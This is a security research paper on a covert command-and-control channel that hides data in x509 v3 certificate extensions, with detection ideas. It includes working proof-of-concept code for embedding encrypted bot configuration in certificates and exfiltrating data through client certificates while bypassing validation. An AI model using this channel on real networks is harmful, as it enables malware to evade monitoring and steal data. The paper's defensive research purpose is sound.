Covert channel by abusing x509 extensions

Jason Reaves
Malware Research, Fidelis Cybersecurity
Jason.reaves@fidelissecurity.com; sysopfb@gmail.com

Abstract

Malicious actors in the world are using more ingenuity than ever for both data infiltration and exfiltration purposes, also known as command and control communications. In this paper I aim to describe a system that could be used to send or receive data from both a client and a server perspective utilizing research into x509 certificates specifically in areas where you can place arbitrary binary data into the certificate or utilizing them as a covert channel. While lots of attention is given to data infiltration and exfiltration techniques they are commonly done so after they've been used in an incident, making this area of cyber security very retroactive in a defensive posture. The aim in presenting this material is to demonstrate that we can take some lessons from the other areas of cyber security research, namely exploitation, and look at potential use cases in how malware authors could utilize technologies outside of their intended purposes to not only accomplish their goals but also end up bypassing common security measures in the process. Doing this sort of research can lead to more advances in defensive security postures by spurring discussions in the community on how a technique either does or doesn't bypass security measures.

Keywords
Malware; x509 Certificate; SSL; TLS; Botnet; Security

1. Introduction

Computer networks are under constant attack from adversaries that are always looking for new ways to communicate while bypassing both common and advanced security systems that are in place. Many of these attacks utilize various malicious software tools or malware in order to accomplish any number of objectives. A number of different kinds of malware will utilize Command-and-Control(C2) using various methodologies such as DNS[13,14,15] by abusing the protocol to send and/or receive data. Another protocol SSL(Secure Socket Layer) or TLS(Transport Layer Security) offers similar possibilities as these other protocols for hiding data in order to bypass common security methods, utilizing x509 certificates for covert channels has been researched previously[17] but with the addition of extensions in version 3 we are able to expand on this previous research pretty significantly. While lots of the research in this paper is derived from malware research it's also worth mentioning that these sort of techniques don't have to be purely used by malware but can be used in any instance where data is wanted to be received or transmitted in a covert manner.

In this paper, I describe my research into using x509 extensions for unintended purpose of both transmitting and receiving arbitrary data. Section 2 describes x509 extensions and the language used in the specifications that led to this research, section 3 describes building a proof of concept from the server-side where a program would want to retrieve data from outside a network, section 4 describes building a proof of concept from the client-side where a program within a network would want to send data outside of the network.

2. Certificate Extension

X509 certificate extensions[4] are describing as being added to provide methods for associating additional attributes with users or public keys and for managing relationships between CAs[4]. However due to the ambiguity in the language this has led to many relaxed implementations, with some documentation language even hinting at arbitrarily creating extensions being possible outside of the standard[5].
One such standard extension is SubjectKeyIdentifier. When looking at the openssl specifications for this field we see at the end "The use of the hex string is strongly discouraged"(Figure 1).

Subject Key Identifier.

This is really a string extension and can take two possible values. Either the word hash which will automatically follow the guidelines in RFC3280 or a hex string giving the extension value to include. The use of the hex string is strongly discouraged.

Figure 1 OpenSSL x509 v3 Subject Key Identifier documentation

So we have a field that can have arbitrary information stored in it which can then be stored in a certificate? So that sounds plausible to be used for communicating data, it also sounds like it could be used for exploitation but I'm going to stick to the malware C2(Command and Control) angle for now. With communication of malware we have two main forms, infiltration whereby a program receives data from another system and exfiltration whereby a program sends data to another system. For the purpose of this paper we will investigate each method separately by creating a POC(proof of concept) and refer to them as the 'server side' for infiltration and as 'client side' for the exfiltration.

3. Server Side, Data Infiltration

A proof of concept of the server side would involve a way to automate generating a certificate to be used by a web server with encoded data in the SubjectKeyIdentifier field of our choosing, we'll also need some code to retrieve this data and to go one step further I'd like to do it without actually making an HTTP request so we only pull the cert and then drop the connection. In this manner we are limiting the landscape for identifying the attack purely on the SSL(Secure Socket Layer) or TLS(Transport Layer Security) connection.

3.1. Cert Generation

To generate a self-signed certificate we simply need to generate an RSA Private Key and a Certificate Signing Request(CSR)

```
openssl genrsa -des3 -out mine.key 2048
openssl rsa -in mine.key -out stupid.key
openssl req -new -key stupid.key -out stupid.csr
```

Now we can generate a self-signed certificate but first we need to generate the extensions file for openssl, the specification says it should be "*subjectKeyIentifier*=" followed by either the word hash or a hex string, so what's in a hex string? Well we could write up a mock configuration for a bot such as:

```
"steal:gmail.com,yahoo.com,amazon.com;webinject:gmail.com(<div>stup
id</div>);ABAB"
```

Then we can either directly convert this to a hex string or encrypt it, such as with RC4 or just a basic XOR followed by a binascii.hexlify in python(Figure 2).

```
import sys
import binascii
from subprocess import call
from Crypto.Cipher import ARC4

mypass = 'stupid'
myconf = 'config.txt'

def main():
        if sys.argv[1] == 'rc4':
                data = open(myconf,'r').read()
                key = sys.argv[2]
                rc4 = ARC4.new(key)

                encoded = rc4.encrypt(data)
        else:
                data = open(myconf,'r').read()
                key = sys.argv[2]
                encoded = bytearray(data)
                for i in range(len(encoded)):
                        encoded[i] ^= ord(key)
        result = "subjectKeyIdentifier="+binascii.hexlify(encoded)
        open('extensions.cnf','w').write(result)
        call("openssl x509 -req -days 365 -extfile extensions.cnf -in stupid.csr -signkey stupid.key -out stupid.crt -passin pass:"+mypass, shell=True)

if __name__ == "__main__":
        main()
```

Figure 2 Python code for generating a certificate with encoded data embedded

You could make this more complicated by adding in byte flags and prepending the key to the data, or even having an agreed upon encryption key and prepending a random salt to the data. We're not here to make the most advanced system out there just proof that it's possible. For our proof of concept we have fulfilled the requirement for automatically generating a certificate based on data we would like encoded into an extension.

3.2. Retrieve the data

For retrieving the data we can start with a simple example posted on MSDN showing how to get certificate information using wininet[2]. First we set a number of INTERNET_OPTION_SECURITY_FLAGs on the connection, mainly dealing with ignoring the fact that our certificate is self-signed and the CN doesn't match. After that we send off our HEAD request to the provided server(Figure 3).

```
HINTERNET hRequest = ::HttpOpenRequest(hConnect, _T("HEAD"), NULL, NULL, NULL,
    NULL, INTERNET_FLAG_SECURE, 1);

if (NULL != hRequest)
{
    DWORD bleh = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_I
    std::cout << "httpopenrequest success" << std::endl;
    if (TRUE == InternetSetOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &bleh, sizeof(DWORD)))
    {
        std::cout << "internetsetoption success" << std::endl;
    }
    // Send
    BOOL fRet = ::HttpSendRequest(hRequest, _T(""), 0, NULL, 0);
    //The below shouldn't happen due to the callback
```

Figure 3 Sending our HEAD request

Since one of our requirements is to not send a request but yet we just sent a request, we prevent this by setting up a callback(Figure 4).

```
if (INTERNET_INVALID_STATUS_CALLBACK == InternetSetStatusCallback(hInternet, (INTERNET_STATUS_CALLBACK)&CallMaster))
{
    std::cout << "callback failed" << std::endl;
}
```

Figure 4 InternetSetStatusCallback

Inside our callback function we are looking to wait until dwInternetStatus is the value INTERNET_STATUS_SENDING_REQUEST which will be the point after the cert exchange has happened and so we will have access to the certificate but prior to the sending of the HTTP request which means we can go ahead and pull out the certificate, handle any of the data we want and then close the connection(Figure 5).

```
if(dwInternetStatus == INTERNET_STATUS_SENDING_REQUEST)
{
    HINTERNET hRequest = hInternet;
    PCCERT_CONTEXT pccontext=NULL;
    char certificateInfoStr[2048];
    certificateInfoStr[0] = '\0';
    DWORD certInfoLength = 2048;
    if (TRUE == ::InternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_CERTIFICATE, &certificateInfoStr, &cer
```

Figure 5 Callback function waiting

After enumerating the certificate we pull out the SubjectKeyIdentifier and for demonstration purposes we print out the data in hex form and then pass it off to our decode function which simply XORs the data with a hardcoded single bye key and prints out the decoded data(Figure 6).

```
if (TRUE == CertGetCertificateContextProperty(pccontext, CERT_KEY_IDENTIFIER_PROP_ID,
{
    std::cout << "pvdata: " << std::endl;
    std::cout << pvData << std::endl;
    for (int i = 0; i < pvSize; i++)
    {
        //ss << pvData[i];
        printf("%02X", (pvData[i] & 0xFF));
    }
    std::cout << std::endl;
    decode(pvData, key, pvSize);
}
```

Figure 6 Get extension and decode data

4. Client Side, Data Exfiltration

Demonstrating this technique will be similar to the server side except that we will be manipulating the certificate on the client side and sending it to the server. This might sound harder but in reality it's actually easier with one simple exception, most SSL/TLS libraries that

allow for client certificate authentication [6] are setup to simplify validating the client certificate and will automatically handle validating the certificate, this is a good thing for most people but not for us because we don't want to really use the certificate for validation purposes but instead to transmit data. After researching a few python libraries it was decided upon to use Twisted [7] for two reasons, one that it allowed client certificate authentication and two it allowed me to hook directly into the certification validation piece in the standard SSL server class. This lets us bypass validation and instead be able to access the peer certificate from the server whenever the client connects to it.
The proof of concept for this can involve utilizing a similar cert generation method as was used in the server side. Since we have access to the OpenSSL library we can also create our keys and certificates on the fly which will be the method utilized for the client side portion of this paper. Other key aspects will be similar to those from the server side such as limiting the communication to the connection and the SSL. Since our data is being transmitted by being embedded in the x509 certificate however this means that we have to make a connection every time we want to send data to the server.

4.1. Client

Using some example code from the twisted documentation [8] as our base code allows us to focus on the relevant portions we will need to successfully create our proof of concept which will be happening entirely in the ContextFactory portion(Figure 7). When the connection is established the method getContext from this section of code will be called where we can then create the certificate while embedding the data we want to send and setting this certificate and key to be used by the context for the connection.

```
class CtxFactory(ssl.ClientContextFactory):
    def __init__(self, data=None):
        self.data=data
    def getContext(self):
        self.method = SSL.SSLv23_METHOD
        ctx = ssl.ClientContextFactory.getContext(self)
        #Check if we already have data to send to the server
        if self.data == None:
            self.data = raw_input('Enter Data:')
        sysid = 'EICAR01234'
        (c,k) = certgen.createCertWithData(sysid,self.data)
        ctx.use_certificate(c)
        ctx.use_privatekey(k)
```

Figure 7 Client context factory

For generating a certificate, we utilize the OpenSSL wrapper library in python [9]. Creating a generic function(Figure 8) for generating a private key and certificate that takes a parameter that will be used for the CN(Command Name) [4] along with an optional parameter for a list of

extensions to be added to the certificate. Having this base functions allows us to easily create wrapper functions(Figure 9) around it that can perform various other tasks such as creating a certificate with a single extension, creating a certificate with a pseudo random extension name based on a list of available certificate names that can be utilized and a function for handling encrypting the data before passing it off to the random extension function.

```
def CreateCert(HostName, ext=None):
    k = crypto.PKey()
    k.generate_key(crypto.TYPE_RSA, 2048)
    c = crypto.X509()
    c.get_subject().C = 'XX'
    c.get_subject().ST = 'None'
    c.get_subject().L = 'None'
    c.get_subject().O = 'Simple Python Webser
    c.get_subject().OU = 'Auto-generated Cert
    c.get_subject().CN = HostName
    c.set_serial_number(1000)
    c.gmtime_adj_notBefore(0)
    c.gmtime_adj_notAfter(315360000)
    c.set_issuer(c.get_subject())
    if ext:
        c.add_extensions(ext)
    c.set_pubkey(k)
    c.sign(k, 'sha256')
    return((c,k))
```

Figure 8 Generic certificate function

```
def createCertWithExt(HostName, ext_name, ext_data):
    ext = crypto.X509Extension(ext_name, True, ext_data)
    return(CreateCert(HostName,[ext]))

def createCertWithRndExt(HostName, ext_data):
    ext_name = list_of_extension_names[random.randint(0,len(list_of_extension_names)-1)]
    #Attempt to DER override
    if ext_name not in ['nsComment', 'subjectKeyIdentifier']:
        ext_data = 'DER:'+ext_data
    ext = crypto.X509Extension(ext_name, True, ext_data)
    return(CreateCert(HostName,[ext]))

def createCertWithData(HostName, data):
    key = hashlib.sha256(str(random.random())).hexdigest()[:4]
    rc4 = ARC4.new(key)
    enc_data = binascii.hexlify(rc4.encrypt(data))
    return(createCertWithRndExt(HostName, key+enc_data))
```

Figure 9 Certificate wrapper functions

4.2. Server

For our server code we also start with some example code from the twisted documentation [8], verification is setup by passing a callback function to the SSL context(Figure 10). The verification callback(Figure 11) function becomes our main function for handling the peer certificate by checking if there is an extension before handling the data that has been encoded inside the first extension. As for actual verification of the certificate we don't really care so much as long as there is at least one certificate extension available.

```
ctx.set_verify(
    SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT,
    verifyCallback
    )
```

Figure 10 Setup Verification Callback

```
def verifyCallback(connection, x509, errnum, errdepth, ok):
    #Check if we have extensions
    if x509.get_extension_count() > 0:
        #System ID is in CN
        sysid = x509.get_subject().CN
        print("System ID: "+sysid)
        #Data is in the extension
        data = str(x509.get_extension(0))
        #If we need to strip out : chars
        data = ''.join(data.split(':'))
        print('Encoded Data: ' + data)
        #RC4 key is the first
        key = data[:4].lower()
        rc4 = ARC4.new(key)
        print('Decoded Data: '+rc4.decrypt(binascii.unhexlify(data[4:])))
        return False
    else:
        return False
```

Figure 11 Verification Callback Function

5. Experimental Results

Testing shows that using this methodology for communication and control in malware will not result in anything beyond an SSL negotiation which could bypass common security mechanisms that are not looking for abnormal data being passed in x509 certificates(Figure 12). Some

possible oddities could present themselves in the traffic however such as frequent outbound connections in order to send data in blocks, if an attacker where to limit the data within the extension to a short length(Figure 13) then this would inherently limit the amount of data that could be sent in one connection to the remote system. Limiting the data in this way would cause many outbound connections along with SSL negotiation traffic from the same system in a short period of time which could be considered an anomaly in the network. To get around this oddity large chunks can be transferred at once since the only limit to the amount of data you can put into an x509 certificate extension appears to be limited by the library you use and since most libraries are based on OpenSSL which will accept very large amounts of data in an extension(>60k characters), the client can also pause between connections which would make the SSL connections appear less frequently in the network traffic. Detection considerations then could rely on a number of possible avenues including detection based on client/server IP address, looking for abnormal x509 certificates through data mining or machine learning techniques [10, 11] and also profiling SSL clients which has had research devoted to it recently [12, 16].

```
16 03 03 05 45 0b 00 05  41 00 05 3e 00 05 3b 30   ....E... A..>..;0
82 05 37 30 82 03 1f a0  03 02 01 02 02 02 05 39   ..70.... .......9
30 0d 06 09 2a 86 48 86  f7 0d 01 01 0d 05 00 30   0...*.H. .......0
37 31 10 30 0e 06 03 55  04 06 13 07 4e 65 75 6c   71.0...U ....Neul
61 6e 64 31 14 30 12 06  03 55 04 0a 13 0b 45 78   and1.0.. .U....Ex
61 6d 70 6c 65 20 4f 72  67 31 0d 30 0b 06 03 55   ample Or g1.0...U
04 0b 13 04 41 75 74 6f  30 1e 17 0d 31 37 31 32   ....Auto 0...1712
32 39 32 32 33 32 33 30  5a 17 0d 31 38 30 31 30   29223230 Z..18010
38 32 32 33 32 33 30 5a  30 37 31 10 30 0e 06 03   8223230Z 071.0...
55 04 06 13 07 4e 65 75  6c 61 6e 64 31 14 30 12   U....Neu land1.0.
06 03 55 04 0a 13 0b 45  78 61 6d 70 6c 65 20 4f   ..U....E xample O
72 67 31 0d 30 0b 06 03  55 04 0b 13 04 41 75 74   rg1.0... U....Aut
6f 30 82 02 22 30 0d 06  09 2a 86 48 86 f7 0d 01   o0.."0.. .*.H....
01 01 05 00 03 82 02 0f  00 30 82 02 0a 02 82 02   ........ .0......
01 00 ed 8e 7f a5 98 94  3a a2 e8 63 f4 8b 8e 51   ........ :..c...Q
d6 84 fb 17 99 cf 4a 72  26 3a 4f de a0 ea 14 18   ......Jr &:O.....
0d ef 30 d3 33 4f 40 df  aa 41 12 d1 a3 63 c8 bd   ..0.3O@. .A...c..
21 0b 0a 81 d0 8a 8d 39  5a 09 9e 85 94 5d 7f ec   !......9 Z....]..
db ab 25 43 e1 3f a3 e2  ce f7 50 a5 c6 2f 11 76   ..%C.?.. ..P../.v
```

Figure 12 Client Certificate sent

```
X509v3 Subject Key Identifier:
    77:6B:4F:28:A8:E2:50:A4:33:32
```

Figure 13 Short data section sent in extension

6. Conclusion and Future Work

In this paper, I have described one of many areas within x509v3 which can be used to send and receive arbitrary data due to the open ended wording of the specification leading to lenient implementations of the specification in many common libraries used for processing certificates. Using some techniques from a few different fields of cyber security I have showed some possible methods that could bypass common security systems in use today if they have not accounted for looking for oddities in x509 certificates in order to detect such things. My future work will branch out into other structures and data in use in SSL such as CRL(Certificate Revocation List) as well as expanding on the research presented in this paper to include some more advanced methods for a client interacting with a server such as also combining distributed architecture and load balancing techniques to make this command and control methodology more difficult to detect. I believe this sort of research is imperative to help defenders and researchers in the cyber security field to be able to stay ahead of the adversaries.

References

1. Kulesza, J. (2014, May 16). 9 OpenSSL Commands To Keep Handy. https://spin.atomicobject.com/2014/05/12/openssl-commands/
2. Sanders, J. (2009, April). How to get Certificate Information Using WinInet APIs. https://blogs.msdn.microsoft.com/jpsanders/2009/04/17/how-to-get-certificate-information-using-wininet-apis/
3. Foundation, I. O. (n.d.). OpenSSL. https://www.openssl.org/docs/manmaster/apps/x509v3_config.html
4. Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile. (n.d.). https://tools.ietf.org/html/rfc5280
5. Curry, I. (1996, July). Entrust Technologies White Paper, Version 3 X.509 Certificates. ftp://193.174.13.99/pub/pca/docs/misc/Entrust/x509v3.pdf
6. Hess, Adam & Jacobson, Jared & Mills, Hyrum & Wamsley, Ryan & Seamons, Kent & Smith, Bryan. (2002). Advanced Client/Server Authentication in TLS. https://www.researchgate.net/publication/2518072_Advanced_ClientServer_Authentication_in_TLS
7. Downloads. (n.d.). https://twistedmatrix.com/trac/
8. Using SSL in Twisted. (n.d.). http://twistedmatrix.com/documents/11.0.0/core/howto/ssl.html#auto7
9. Welcome to pyOpenSSL's documentation!. (n.d.). https://pyopenssl.org/
10. Al-Hassanieh, K., Sharma, A., & Reaves, J. (2017, October 13). Detecting Malicious SSL Certificates Using Machine Learning - 2017 B-... https://www.slideshare.net/KhaledAlHassanieh/detecting-malicious-ssl-certificates-using-machine-learning
11. Bagaria, Sankalp & Rajendran, Balaji & Bindhumadhava, Bapu. (2017). Detecting Malignant TLS Servers Using Machine Learning Techniques. https://arxiv.org/ftp/arxiv/papers/1705/1705.09044.pdf

12. Althouse, J. B., Atkinson, J., & Atkins, J. (2017, December 05). Salesforce/ja3. https://github.com/salesforce/ja3?files=1
13. Raman D. et al. (2013) DNS Tunneling for Network Penetration. In: Kwon T., Lee MK., Kwon D. (eds) Information Security and Cryptology – ICISC 2012. ICISC 2012. Lecture Notes in Computer Science, vol 7839. Springer, Berlin, Heidelberg. https://doi.org/10.1007/978-3-642-37682-5_6
14. Dietrich, C. J., Rossow, C., Freiling, F. C., Bos, H., Steen, M. V., & Pohlmann, N. (2011). On Botnets That Use DNS for Command and Control. 2011 Seventh European Conference on Computer Network Defense. doi:10.1109/ec2nd.2011.16
15. S. Zander, G. Armitage and P. Branch, (2007) A survey of convert channels and countermeasures in computer network protocols. doi:10.1109/COMST.2007.4317620
16. Husák, M., Čermák, M., Jirsík, T. et al. EURASIP J. on Info. Security (2016) 2016: 6. https://doi.org/10.1186/s13635-016-0030-7
17. Scott, Carlos. (2018). Network Covert Channels: Review of Current State and Analysis of Viability of the use of X.509 Certificates for Covert Communications